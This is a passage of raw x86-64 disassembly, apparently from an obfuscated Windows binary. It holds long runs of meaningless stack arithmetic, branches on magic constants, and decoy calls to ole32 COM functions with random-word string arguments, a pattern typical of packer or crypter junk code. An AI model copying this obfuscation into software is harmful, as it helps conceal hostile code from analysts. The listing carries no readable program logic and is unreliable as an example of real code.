mov byte [rax], cl
movsx edx, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x1f1c8]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0xc140], al
mov rax, qword [rsp + 0x21b8]
mov ecx, dword [rsp + 0x3f80]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x189b4], eax
mov rax, qword [rsp + 0x5618]
mov rcx, qword [rsp + 0xb9d8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x14080], rax
mov eax, dword [rsp + 0x13938]
sub eax, 0xa5
mov dword [rsp + 0x13938], eax
mov rax, qword [rsp + 0x12028]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x6e88]
mov rax, qword [rsp + 0x12028]
mov dword [rax], ecx
mov rax, qword [rsp + 0x4c20]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xaf68]
shr rax, cl
mov qword [rsp + 0x1bea8], rax
mov rax, qword [rsp + 0x1228]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x1be30]
xor ecx, eax
mov rax, qword [rsp + 0x1228]
mov byte [rax], cl
mov rax, qword [rsp + 0x18cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb681]
or eax, ecx
mov byte [rsp + 0x8ac1], al
mov rax, qword [rsp + 0x100f8]
movsx edx, word [rax]
mov rax, qword [rsp + 0x19e88]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [0x14015d2c8], ax
mov rax, qword [rsp + 0x104a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x112e0]
and eax, ecx
mov word [rsp + 0x1cd58], ax
mov rax, qword [rsp + 0x19e88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfd20]
sub eax, ecx
mov word [rsp + 0x3860], ax
mov eax, dword [rsp + 0x189b4]
mov ecx, dword [rsp + 0x16e60]
add ecx, eax
mov rax, qword [rsp + 0x12a38]
mov dword [rax], ecx
mov rax, qword [rsp + 0x12028]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x6e88]
sub eax, ecx
mov dword [rsp + 0x154d0], eax
cmp dword [rsp + 0x13938], 0x682b
ja 0x140019dc6
mov rax, qword [rsp + 0x1cde0]
mov rcx, qword [rsp + 0xb9d8]
sub rcx, rax
mov rax, qword [rsp + 0x5618]
mov rax, qword [rax]
add rax, qword [rsp + 0xd7f0]
cmp rcx, rax
jne 0x14001a202
mov rax, qword [rsp + 0x104a0]
movzx eax, word [rax]
mov dword [rsp + 0x1fd1c], eax
cmp dword [rsp + 0x1fd1c], 0
je 0x14001a0f8
cmp dword [rsp + 0x1fd1c], 0x425
je 0x14001a1eb
jmp 0x14001a200
lea rax, [rsp + 0x1bea8]
mov qword [rsp + 0x118c0], rax
movsx edx, word [rsp + 0x6d38]
mov rax, qword [rsp + 0x19e88]
movsx eax, word [rax]
add edx, eax
movsx eax, word [rsp + 0x3860]
movsx ecx, word [rsp + 0xfd20]
add eax, ecx
cmp edx, eax
jne 0x14001a1e9
mov rax, qword [rsp + 0x19e88]
movsx eax, word [rax]
mov dword [rsp + 0x1fd20], eax
cmp dword [rsp + 0x1fd20], 0
je 0x14001a1c9
cmp dword [rsp + 0x1fd20], 0x3b95
je 0x14001a165
jmp 0x14001a1e9
mov rcx, qword [0x1401601a8]
mov rax, qword [rsp + 0x5618]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x1cde0], rax
movsx edx, byte [rsp + 0xc140]
mov rax, qword [rsp + 0x1cd50]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x19658]
mov byte [rax], cl
movzx edx, word [rsp + 0x1cd58]
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
mov eax, edx
xor eax, ecx
mov word [rsp + 0x112e0], ax
jmp 0x14001a1e9
lea rax, [rsp + 0x1be30]
mov qword [rsp + 0x17808], rax
lea rax, [rsp + 0xfd20]
mov qword [rsp + 0x6078], rax
jmp 0x14001a200
lea rcx, [rsp + 0xddc8]
call qword [sym.imp.ole32.dll_CoDisableCallCancellation]
mov dword [rsp + 0x1c864], eax
jmp 0x14001a26a
mov al, byte [rsp + 0xd6b9]
mov byte [rsp + 0x1fd24], al
cmp byte [rsp + 0x1fd24], 0x71
je 0x14001a21c
jmp 0x14001a250
movzx ecx, byte [rsp + 0x8ac1]
movzx eax, byte [rsp + 0xd6b9]
or ecx, eax
mov rax, qword [rsp + 0x18cc0]
mov byte [rax], cl
mov edx, dword [rsp + 0x6e88]
mov rax, qword [rsp + 0x12028]
mov ecx, dword [rax]
call fcn.140012900
jmp 0x14001a26a
mov rax, qword [rsp + 0x12028]
mov ecx, dword [rsp + 0x154d0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6e88], eax
mov dword [rsp + 0x178d4], 0x6388
mov rax, qword [rsp + 0x1650]
movzx eax, word [rax]
mov dword [rsp + 0x1fd28], eax
cmp dword [rsp + 0x1fd28], 0
je 0x14001a296
jmp 0x14001a33e
mov eax, dword [rsp + 0x154d0]
mov dword [rsp + 0x1fd2c], eax
cmp dword [rsp + 0x1fd2c], 0x19753031
je 0x14001a31d
cmp dword [rsp + 0x1fd2c], 0x3079ed6e
je 0x14001a2c0
jmp 0x14001a339
mov rcx, qword [rsp + 0x118c0]
mov rax, qword [rsp + 0x1bea8]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
mov rax, qword [rsp + 0x19658]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov r9, qword [rsp + 0x1cde0]
mov r8, qword [rsp + 0x5618]
mov r8, qword [r8]
mov rax, qword [rsp + 0x17808]
movzx edx, byte [rax]
mov rcx, qword [rsp + 0xaf68]
call fcn.140011eb0
jmp 0x14001a339
lea rdx, [rsp + 0x1b6f8]
lea rcx, str.chasms_cosmetics_Unemployment_costliness_fair
call qword [sym.imp.ole32.dll_CLSIDFromProgIDEx]
mov dword [rsp + 0x14294], eax
jmp 0x14001a411
mov rax, qword [rsp + 0x12a38]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1ef10]
add eax, dword [rcx]
mov dword [rsp + 0x17460], eax
mov rcx, qword [rsp + 0x5618]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0x1cde0]
mov rax, qword [rsp + 0x5618]
mov qword [rax], rcx
mov rax, qword [rsp + 0x142e8]
mov qword [rsp + 0x1fd30], rax
movabs rax, 0xb218e87115c2c6f3
cmp qword [rsp + 0x1fd30], rax
je 0x14001a39d
jmp 0x14001a3f4
lea rdx, [rsp + 0x11ff8]
lea rcx, str.Suet
call qword [sym.imp.ole32.dll_GetClassFile]
mov dword [rsp + 0x14294], eax
movzx ecx, byte [rsp + 0xd6b9]
movzx eax, byte [rsp + 0x1d4c0]
add ecx, eax
mov rax, qword [rsp + 0x18cc0]
mov byte [rax], cl
lea rdx, [rsp + 0xdf70]
lea rcx, [rsp + 0x1c98]
call qword [sym.imp.ole32.dll_CoTreatAsClass]
mov dword [rsp + 0x1c864], eax
jmp 0x14001a411
mov rax, qword [rsp + 0x5618]
mov rcx, qword [rsp + 0x14080]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401601a8], rax
cmp dword [rsp + 0xaf70], 0x299
jbe 0x14001a975
movzx eax, word [rsp + 0x3d10]
movzx ecx, word [rsp + 0x112e0]
add eax, ecx
mov word [rsp + 0x1cd58], ax
mov rax, qword [rsp + 0x18cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb681]
and eax, ecx
mov byte [rsp + 0x1d4c0], al
mov rax, qword [rsp + 0x19e88]
movsx edx, word [rax]
mov rax, qword [rsp + 0x100f8]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x3860], ax
mov rcx, qword [rsp + 0x4c20]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x118c0]
mov rax, qword [rax]
shl rax, cl
mov rcx, rax
mov rax, qword [rsp + 0x118c0]
mov qword [rax], rcx
mov ecx, dword [rsp + 0x6e88]
mov rax, qword [rsp + 0x12028]
mov eax, dword [rax]
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x12028]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x21b8]
mov eax, dword [rsp + 0x3f80]
mov ecx, dword [rcx]
xor ecx, eax
mov rax, qword [rsp + 0x1ef10]
mov dword [rax], ecx
mov rax, qword [rsp + 0x14080]
mov rcx, qword [rsp + 0xd7f0]
or rcx, rax
mov rax, qword [rsp + 0x5618]
mov qword [rax], rcx
mov rax, qword [rsp + 0x18cc0]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0xd6b9]
add ecx, eax
mov rax, qword [rsp + 0x18cc0]
mov byte [rax], cl
movsx ecx, byte [rsp + 0x1be30]
movsx eax, byte [rsp + 0xc140]
and ecx, eax
mov rax, qword [rsp + 0x1228]
mov byte [rax], cl
movzx ecx, word [rsp + 0x1cd58]
movzx eax, word [rsp + 0x112e0]
sub ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
movzx ecx, word [rsp + 0x1cd58]
movzx eax, word [rsp + 0x112e0]
sub ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov eax, dword [rsp + 0xaf70]
sub eax, 0x9d
mov dword [rsp + 0xaf70], eax
movsx ecx, word [rsp + 0xfd20]
mov rax, qword [rsp + 0x19e88]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x100f8]
mov word [rax], cx
mov eax, dword [rsp + 0x3f80]
mov ecx, dword [rsp + 0x16e60]
sub ecx, eax
mov rax, qword [rsp + 0x12a38]
mov dword [rax], ecx
mov rax, qword [rsp + 0x5618]
mov rax, qword [rax]
add rax, qword [rsp + 0x1cde0]
mov qword [rsp + 0xb9d8], rax
mov rax, qword [rsp + 0x142e8]
mov rcx, qword [rsp + 0xaf68]
add rcx, rax
mov rax, qword [rsp + 0x118c0]
mov qword [rax], rcx
mov rax, qword [rsp + 0x12028]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x154d0]
sub eax, ecx
mov dword [rsp + 0x6e88], eax
mov rax, qword [rsp + 0x18cc0]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0xb681]
and ecx, eax
mov rax, qword [rsp + 0x18cc0]
mov byte [rax], cl
mov rax, qword [rsp + 0x17808]
movsx ecx, byte [rax]
mov rax, qword [rsp + 0x98d8]
movsx eax, byte [rax]
or ecx, eax
mov rax, qword [rsp + 0x1228]
mov byte [rax], cl
movsx edx, word [rsp + 0x6d38]
movsx eax, word [0x14015d2c8]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0xfd20], ax
mov rax, qword [rsp + 0x104a0]
movzx edx, word [rax]
mov rax, qword [rsp + 0x1650]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
movzx ecx, byte [rsp + 0x1d4c0]
movzx eax, byte [rsp + 0xd6b9]
xor ecx, eax
mov rax, qword [rsp + 0x18cc0]
mov byte [rax], cl
mov rcx, qword [rsp + 0x4c20]
mov rax, qword [rsp + 0x142e8]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x118c0]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x12028]
mov eax, dword [rsp + 0x6e88]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x12028]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x5618]
mov rax, qword [rsp + 0xd7f0]
mov rcx, qword [rcx]
and rcx, rax
mov rax, qword [rsp + 0x5618]
mov qword [rax], rcx
mov rdx, qword [rsp + 0x21b8]
mov rax, qword [rsp + 0x12a38]
mov ecx, dword [rax]
mov eax, dword [rdx]
sub eax, ecx
mov dword [rsp + 0x17460], eax
movsx eax, word [rsp + 0xfd20]
movsx ecx, word [rsp + 0x3860]
add eax, ecx
mov word [rsp + 0x6d38], ax
mov rax, qword [rsp + 0xddc8]
movzx ecx, word [rax]
mov rax, qword [rsp + 0x1650]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
movzx ecx, word [rsp + 0x1cd58]
mov rax, qword [rsp + 0xddc8]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0x18cc0]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0xd6b9]
add ecx, eax
mov rax, qword [rsp + 0x18cc0]
mov byte [rax], cl
movsx ecx, byte [rsp + 0xc140]
mov rax, qword [rsp + 0x1228]
movsx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x17808]
mov byte [rax], cl
mov rcx, qword [rsp + 0x4c20]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0x142e8]
mov rax, qword [rsp + 0x118c0]
mov qword [rax], rcx
mov eax, dword [rsp + 0x17460]
mov ecx, dword [rsp + 0x3f80]
sub ecx, eax
mov rax, qword [rsp + 0x12a38]
mov dword [rax], ecx
mov eax, dword [rsp + 0x6e88]
mov ecx, dword [rsp + 0x154d0]
or ecx, eax
mov rax, qword [rsp + 0x12028]
mov dword [rax], ecx
mov rax, qword [rsp + 0xd7f0]
movzx ecx, al
mov rax, qword [0x1401601a8]
sar rax, cl
mov rcx, rax
mov rax, qword [rsp + 0x5618]
mov qword [rax], rcx
movzx edx, word [rsp + 0x3d10]
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
mov eax, edx
xor eax, ecx
mov word [rsp + 0x112e0], ax
mov rax, qword [rsp + 0x18cc0]
movzx edx, byte [rax]
movzx eax, byte [rsp + 0xd6b9]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x1d4c0], al
movsx ecx, byte [rsp + 0x1be30]
movsx eax, byte [rsp + 0xc140]
and ecx, eax
mov rax, qword [rsp + 0x1228]
mov byte [rax], cl
movsx edx, byte [rsp + 0xc140]
mov rax, qword [rsp + 0x1f1c8]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x1be30], al
movsx edx, word [rsp + 0xfd20]
mov rax, qword [rsp + 0x6078]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x3860], ax
mov rcx, qword [rsp + 0x1bea8]
mov rax, qword [rsp + 0x142e8]
and rax, rcx
mov qword [rsp + 0xaf68], rax
mov rcx, qword [rsp + 0x1ef10]
mov rax, qword [rsp + 0x12a38]
mov eax, dword [rax]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
mov rax, qword [rsp + 0x12028]
mov ecx, dword [rsp + 0x154d0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6e88], eax
mov rax, qword [rsp + 0x1cde0]
mov rcx, qword [rsp + 0xb9d8]
add rcx, rax
mov rax, qword [rsp + 0x5618]
mov qword [rax], rcx
mov rax, qword [rsp + 0x100f8]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x19e88]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x6078]
mov word [rax], cx
jmp 0x14001a411
cmp dword [rsp + 0x178d4], 0x49cc
jb 0x14001ab2e
movsx edx, byte [rsp + 0xc140]
mov rax, qword [rsp + 0x17808]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x1be30], al
mov rax, qword [rsp + 0x104a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cd58]
xor eax, ecx
mov word [0x14015d2cc], ax
movzx edx, byte [rsp + 0xb681]
mov rax, qword [rsp + 0x18cc0]
movzx ecx, byte [rax]
mov eax, edx
or eax, ecx
mov byte [rsp + 0x1d4c0], al
mov rax, qword [rsp + 0x19e88]
movsx edx, word [rax]
mov rax, qword [rsp + 0x6078]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x100f8]
mov word [rax], cx
mov rax, qword [rsp + 0xddc8]
movzx edx, word [rax]
movzx eax, word [rsp + 0x1cd58]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x3d10], ax
mov rcx, qword [rsp + 0x118c0]
mov rax, qword [rsp + 0x4c20]
mov rax, qword [rax]
mov rcx, qword [rcx]
and rcx, rax
mov rax, qword [rsp + 0x118c0]
mov qword [rax], rcx
mov rax, qword [rsp + 0x12028]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x154d0]
mov rax, qword [rsp + 0x12028]
mov dword [rax], ecx
mov eax, dword [rsp + 0x178d4]
sub eax, 0x6c
mov dword [rsp + 0x178d4], eax
mov rax, qword [rsp + 0x5618]
mov rcx, qword [rsp + 0xd7f0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x14080], rax
mov rax, qword [rsp + 0x1ef10]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x16e60]
sub eax, ecx
mov dword [rsp + 0x17460], eax
movzx ecx, byte [rsp + 0x8ac1]
movzx eax, byte [rsp + 0xd6b9]
sub ecx, eax
mov rax, qword [rsp + 0x18cc0]
mov byte [rax], cl
mov rax, qword [rsp + 0x19e88]
movsx edx, word [rax]
mov rax, qword [rsp + 0x6078]
movsx ecx, word [rax]
mov eax, edx
and eax, ecx
mov word [0x14015d2c8], ax
movsx edx, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x1228]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0xc140], al
movzx ecx, byte [rsp + 0xd6b9]
movzx eax, byte [rsp + 0xb681]
add ecx, eax
mov rax, qword [rsp + 0x18cc0]
mov byte [rax], cl
jmp 0x14001a975
mov rax, qword [rsp + 0x6078]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x100f8]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x19e88]
mov word [rax], cx
mov al, byte [rsp + 0x1be30]
mov byte [rsp + 0x1fd38], al
cmp byte [rsp + 0x1fd38], 0x79
je 0x14001ab6e
jmp 0x14001ac46
mov rdx, qword [rsp + 0x4c20]
mov rdx, qword [rdx]
mov rax, qword [rsp + 0x118c0]
add rdx, qword [rax]
mov rax, qword [rsp + 0x142e8]
movzx ecx, al
mov rax, qword [rsp + 0x1bea8]
shl rax, cl
cmp rdx, rax
je 0x14001abc5
mov rcx, qword [rsp + 0x118c0]
mov rax, qword [rsp + 0x4c20]
mov rax, qword [rax]
mov rcx, qword [rcx]
xor rcx, rax
mov rax, qword [rsp + 0x118c0]
mov qword [rax], rcx
jmp 0x14001ac41
mov al, byte [rsp + 0x1be30]
mov byte [rsp + 0x1fd3c], al
cmp byte [rsp + 0x1fd3c], 0x26
je 0x14001ac25
cmp byte [rsp + 0x1fd3c], 0x4b
je 0x14001abe9
jmp 0x14001ac41
mov rax, qword [rsp + 0x5618]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x5618]
mov r9, qword [r9]
mov r8, qword [rsp + 0x5618]
mov r8, qword [r8]
movzx edx, word [rsp + 0x3860]
mov rcx, qword [0x1401601a8]
call fcn.140011920
jmp 0x14001ac41
mov edx, dword [rsp + 0x1f36c]
lea rcx, [rsp + 0x12028]
call qword [sym.imp.ole32.dll_CoMarshalHresult]
mov dword [rsp + 0x1f36c], eax
jmp 0x14001ad76
mov eax, dword [rsp + 0x6e88]
mov dword [rsp + 0xf7cc], eax
lea rax, [rsp + 0x14080]
mov qword [rsp + 0x12d70], rax
mov eax, dword [rsp + 0x16e60]
mov ecx, dword [rsp + 0x3f80]
or ecx, eax
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
mov rax, qword [rsp + 0x104a0]
movzx edx, word [rax]
movzx eax, word [0x14015d2cc]
and edx, eax
movzx eax, word [rsp + 0x112e0]
movzx ecx, word [rsp + 0x3d10]
add eax, ecx
cmp edx, eax
jl 0x14001ad6b
lea rax, [rsp + 0xc140]
mov qword [rsp + 0x12150], rax
mov rax, qword [rsp + 0x1650]
movzx ecx, word [rax]
movzx eax, word [0x14015d2cc]
add ecx, eax
mov rax, qword [rsp + 0x1650]
mov word [rax], cx
mov rax, qword [rsp + 0x5618]
mov rax, qword [rax]
mov qword [rsp + 0x1fd40], rax
cmp qword [rsp + 0x1fd40], 0
je 0x14001acfb
jmp 0x14001ad4a
movzx eax, byte [rsp + 0x1be30]
mov byte [rsp + 0x19d58], al
lea rax, [rsp + 0xb681]
mov qword [rsp + 0xd3a8], rax
movzx eax, word [rsp + 0x3860]
mov word [rsp + 0xaa5c], ax
mov rax, qword [rsp + 0x4c20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x118c0]
add rax, qword [rcx]
mov qword [rsp + 0x1bea8], rax
jmp 0x14001ad6b
mov rax, qword [rsp + 0x12d70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9d8]
sub rcx, rax
mov rax, qword [rsp + 0x5618]
mov qword [rax], rcx
mov dword [rsp + 0x41ec], 0x8a4
mov rax, qword [rsp + 0x12028]
mov eax, dword [rax]
mov edx, dword [rsp + 0xf7cc]
sub edx, eax
mov ecx, dword [rsp + 0x154d0]
mov eax, dword [rsp + 0x6e88]
and eax, ecx
cmp edx, eax
jle 0x14001ae8e
mov rax, qword [rsp + 0x6078]
movsx eax, word [rax]
mov dword [rsp + 0x1fd48], eax
cmp dword [rsp + 0x1fd48], 0x21c8
je 0x14001adc5
jmp 0x14001ae6b
mov rax, qword [rsp + 0x1ef10]
mov ecx, dword [rsp + 0x16e60]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3f80], eax
lea r9, [rsp + 0xd940]
lea r8, [rsp + 0x118c0]
lea rdx, str.frequency_Pitiably_tinfoil_ravelled_Personification
lea rcx, [rsp + 0x4390]
call qword [sym.imp.ole32.dll_MkParseDisplayName]
mov dword [rsp + 0x14294], eax
mov ecx, dword [rsp + 0x154d0]
mov rax, qword [rsp + 0x12028]
mov eax, dword [rax]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x12028]
mov dword [rax], ecx
mov rax, qword [rsp + 0xddc8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cd58]
or eax, ecx
mov word [0x14015d2cc], ax
movsx edx, byte [rsp + 0xc140]
movsx eax, byte [rsp + 0x19d58]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x12150]
mov byte [rax], cl
jmp 0x14001ae89
movzx edx, byte [rsp + 0xd6b9]
mov rax, qword [rsp + 0xd3a8]
movzx ecx, byte [rax]
mov eax, edx
xor eax, ecx
mov byte [rsp + 0x1d4c0], al
jmp 0x14001b013
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
mov rax, qword [rsp + 0x1650]
movzx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
movsx edi, byte [rsp + 0x19d58]
mov rax, qword [rsp + 0x12150]
movsx eax, byte [rax]
add edi, eax
mov rax, qword [rsp + 0x17808]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x19658]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
cmp edi, eax
jg 0x14001afa5
mov rax, qword [rsp + 0x6078]
movzx eax, word [rax]
mov word [rsp + 0x11a90], ax
mov rax, qword [rsp + 0x5618]
mov rax, qword [rax]
mov qword [rsp + 0x1fd50], rax
cmp qword [rsp + 0x1fd50], 0
je 0x14001af2f
movabs rax, 0x7b40e7f70f6524d0
cmp qword [rsp + 0x1fd50], rax
je 0x14001af8e
jmp 0x14001afa3
mov rax, qword [rsp + 0x1ef10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f80]
sub ecx, eax
mov rax, qword [rsp + 0x12a38]
mov dword [rax], ecx
mov rax, qword [rsp + 0x12028]
mov eax, dword [rax]
mov dword [rsp + 0x10b78], eax
lea rax, [rsp + 0x142e8]
mov qword [rsp + 0x14650], rax
lea rax, [rsp + 0xd7f0]
mov qword [rsp + 0x6420], rax
lea rax, [rsp + 0xb9d8]
mov qword [0x14015f9c8], rax
jmp 0x14001afa3
lea rcx, [rsp + 0x12168]
call qword [sym.imp.ole32.dll_CoGetCallerTID]
mov dword [rsp + 0x16238], eax
jmp 0x14001b013
movzx edi, word [rsp + 0x3d10]
movzx eax, word [rsp + 0x112e0]
add edi, eax
movzx edx, word [rsp + 0x1cd58]
mov rax, qword [rsp + 0xddc8]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
cmp edi, eax
jle 0x14001b013
mov rax, qword [rsp + 0xd3a8]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x18cc0]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0xd3a8]
mov byte [rax], cl
movsx edx, word [rsp + 0xfd20]
mov rax, qword [rsp + 0x19e88]
movsx ecx, word [rax]
mov eax, edx
and eax, ecx
mov word [rsp + 0x6d38], ax
mov rax, qword [rsp + 0x1228]
movsx edx, byte [rax]
movsx eax, byte [rsp + 0xc140]
sub edx, eax
mov rax, qword [rsp + 0x17808]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1be30]
or eax, ecx
cmp edx, eax
jge 0x14001b13f
movsx edi, word [rsp + 0x11a90]
movsx eax, word [rsp + 0x3860]
xor edi, eax
mov rax, qword [rsp + 0x6078]
movsx edx, word [rax]
movsx eax, word [rsp + 0xfd20]
movzx ecx, al
mov eax, edx
shl eax, cl
cmp edi, eax
jne 0x14001b0d1
movzx edx, word [rsp + 0x3d10]
mov rax, qword [rsp + 0x1650]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov rax, qword [rsp + 0xd7f0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xb9d8]
mov r8, qword [rsp + 0x1cde0]
movzx edx, word [rsp + 0x6d38]
mov rcx, qword [rsp + 0x12d70]
mov rcx, qword [rcx]
call fcn.140011920
mov edx, 0xc9
mov ecx, 0x37
call qword [sym.imp.ole32.dll_CoCancelCall]
mov dword [rsp + 0x14294], eax
movsx eax, byte [rsp + 0xc140]
movsx ecx, byte [rsp + 0x1be30]
sub eax, ecx
mov byte [rsp + 0x19d58], al
mov rax, qword [rsp + 0x6078]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x19e88]
movsx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0x100f8]
mov word [rax], cx
mov edx, 0x5b
lea rcx, [rsp + 0x18cc0]
call qword [sym.imp.ole32.dll_CoTaskMemRealloc]
mov qword [rsp + 0x1a350], rax
mov dword [rsp + 0x16428], 0x54dd
lea rax, [rsp + 0x6e88]
mov qword [rsp + 0xb370], rax
mov rax, qword [rsp + 0x142e8]
mov qword [rsp + 0x1fd58], rax
movabs rax, 0x46657741cb7dab45
cmp qword [rsp + 0x1fd58], rax
je 0x14001b180
jmp 0x14001b1a5
mov rcx, qword [rsp + 0x12d70]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x5618]
add rcx, qword [rax]
mov rax, qword [0x14015f9c8]
mov qword [rax], rcx
jmp 0x1401486eb
lea rax, [rsp + 0x1d4c0]
mov qword [rsp + 0x3020], rax
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x3d10]
add ecx, eax
mov rax, qword [rsp + 0x1650]
mov word [rax], cx
mov dword [rsp + 0x8168], 0x962c
mov rax, qword [rsp + 0x100f8]
movsx eax, word [rax]
mov dword [rsp + 0x1fd60], eax
cmp dword [rsp + 0x1fd60], 0
je 0x14001b2e6
cmp dword [rsp + 0x1fd60], 0x389
je 0x14001b212
jmp 0x14001b35f
lea rdx, [rsp + 0x1b058]
lea rcx, [rsp + 0x13e10]
call qword [sym.imp.ole32.dll_CoGetObjectContext]
mov dword [rsp + 0x17450], eax
movzx edx, word [rsp + 0x1cd58]
mov rax, qword [rsp + 0xddc8]
movzx eax, word [rax]
add edx, eax
movzx eax, word [rsp + 0x112e0]
movzx ecx, word [rsp + 0x3d10]
sub eax, ecx
cmp edx, eax
jl 0x14001b2e4
mov rax, qword [rsp + 0x3020]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x18cc0]
movzx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x3020]
mov byte [rax], cl
mov rax, qword [rsp + 0x104a0]
movzx eax, word [rax]
mov dword [rsp + 0x1fd64], eax
cmp dword [rsp + 0x1fd64], 0x11
je 0x14001b2c6
cmp dword [rsp + 0x1fd64], 0x636
je 0x14001b2ab
jmp 0x14001b2e4
mov rax, qword [rsp + 0x12028]
mov edx, dword [rax]
mov rax, qword [rsp + 0xb370]
mov ecx, dword [rax]
call fcn.140012120
jmp 0x14001b2e4
movsx edx, byte [rsp + 0xc140]
mov rax, qword [rsp + 0x1f1c8]
movsx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [rsp + 0x19d58], al
jmp 0x14001b35f
mov rax, qword [rsp + 0xddc8]
movzx eax, word [rax]
mov word [rsp + 0x18b28], ax
mov eax, dword [rsp + 0x16e60]
mov ecx, dword [rsp + 0x17460]
xor ecx, eax
mov rax, qword [rsp + 0x12a38]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x4c20]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x142e8]
or rax, rcx
mov qword [rsp + 0xaf68], rax
mov rcx, qword [rsp + 0xb9d8]
mov rax, qword [rsp + 0x12d70]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xbec0], rax
